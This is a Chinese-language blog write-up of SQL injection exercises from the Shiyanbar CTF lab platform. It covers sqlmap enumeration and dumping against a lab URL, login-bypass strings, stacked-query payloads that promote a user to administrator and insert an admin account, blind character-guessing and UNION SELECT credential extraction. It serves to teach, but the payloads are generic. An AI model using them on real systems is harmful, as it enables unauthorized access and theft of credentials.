本博客题库来源于 实验吧
1. 搭建python2.7的环境
2. 启动Sqlmap 连接URL
`python2 sqlmap.py -u"http://ctf5.shiyanbar.com/8/index.php?id=1"`
在这里查看到了该Web服务的容器是用的Apache 后台使用PHP写的,数据库用的是MYSQL
3. 查看MYSQL中所有的数据库
D:\ustb\NetworkSecurity\sqlmapproject-sqlmap-7d5a0ed>python2sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" –dbs
可以看到有三个数据库
4.查看数据库中的表
D:\ustb\NetworkSecurity\sqlmapproject-sqlmap-7d5a0ed>python2sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" –D my_db--tables
这个数据库中有两张表
5.查看表中的列
D:\ustb\NetworkSecurity\sqlmapproject-sqlmap-7d5a0ed>python2sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -Tthiskey –columns
可以看到这个表有一列,名字叫做K0y
6.查看表中的行中的详细数据
D:\ustb\NetworkSecurity\sqlmapproject-sqlmap-7d5a0ed>python2sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -Tthiskey -C k0y --dump
1.打开工具,输入要扫描的IP
2.开始扫描
扫描之后发现有SQL注入和CSS跨站攻击的漏洞
3.使用爬虫工具
使用Site Crawler抓取服务器目录下所有的目录结构:
1.访问一个有SQL漏洞的站点
2.绕过登录验证
我们想登录必须知道用户名和密码
在后台我们登录的时候,查询的SQL应该这样写:
SELECT user_id, user_type, email FROM users WHEREuser_id = '用户名' AND password = ‘密码’
假如我们提交的表单是admin 和 2’ or 1’
我们查询的SQL就变成了这样:
SELECT user_id, user_type, email FROM users WHEREuser_id = 'admin' AND password = ‘2’ or '1'
要注意由于运算符优先级的问题,我们的SQL被拆成了两个部分:
(SELECT user_id, user_type, email FROM usersWHERE user_id = 'admin' AND password = ‘2’) (or '1')
这样不管我们前面的账号密码是什么都被短路了,逻辑恒为真,也就绕过了登录验证,进入了后台
1.首先注册一个账号
这里账号密码是 san 123456
2.测试注入点
使用
账号:san’ and ‘a’ = ‘a
密码:1234567
发现登录失败,但是可以发现我们提交的表单已经插入到了查询的SQL中了
4.提升用户权限
之后我们尝试把我们当前用户提升权限。
在用户名提交的表单的地方,插入提升权限的SQL,密码是正确的密码
';update dv_user setusergroupid=1 where username='san'--
这是虽然显示用户不存在,但是我们正常的登录一下
这时候我们就惊讶的发现我们从一个普通用户变为了管理员了
5.添加管理员,登录后台
下面让我们添加一个管理员账号
san';insert into dv_admin(username,password,flag,adduser)values('san','49ba59abbe56e057','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45','san')—
这样我们就在后台创建一个管理员,这个网站就取得了最高权限
1.找到有漏洞的注入点
在url后面添加一个 ’
在url后面添加一个 and 1 = 1
页面正常
在URL后面加入一个 and 1 = 2
经过上面的测试可以发现存在漏洞
2.猜解表名
在url后面添加and exists(select *from admin)
发现页面正常,说明存在这张表
3.猜解列名
在url后面添加and exists(select admin from admin) 和 and exists(select password from admin)
发现页面正常,说明存在这两个列名
4.猜测字段长度
在url后面添加and (select top 1 len (admin) from admin > 1)
如果这时候显示正常,就说明这个数据的长度大于1
然后依次加一,直到页面报错,这时候输入的是5,所以长度就是5
5.猜测字段内容
然后在URL后面添加and (select top 1 asc(mid(admin,1,1)) from admin) > 97
这时候报错,也就是说第一个字符的ASCII码是97 也就是a
6.依次多次操作上面两步,就能猜测出正确的账号和密码
在刚才实验的基础上,我们使用
Order by11 判断字段的数目
Union select1,2,3,4,5,6,7,8,9,10,11 from admin 来判断字段的编号
Union select 1,admin,password,4,5,6,7,8,9,10,11from admin来直接得到管理员的账户和面
1.Low级别的注入
通过1‘ or ’1’ = ‘1’来遍历数据库当中的元素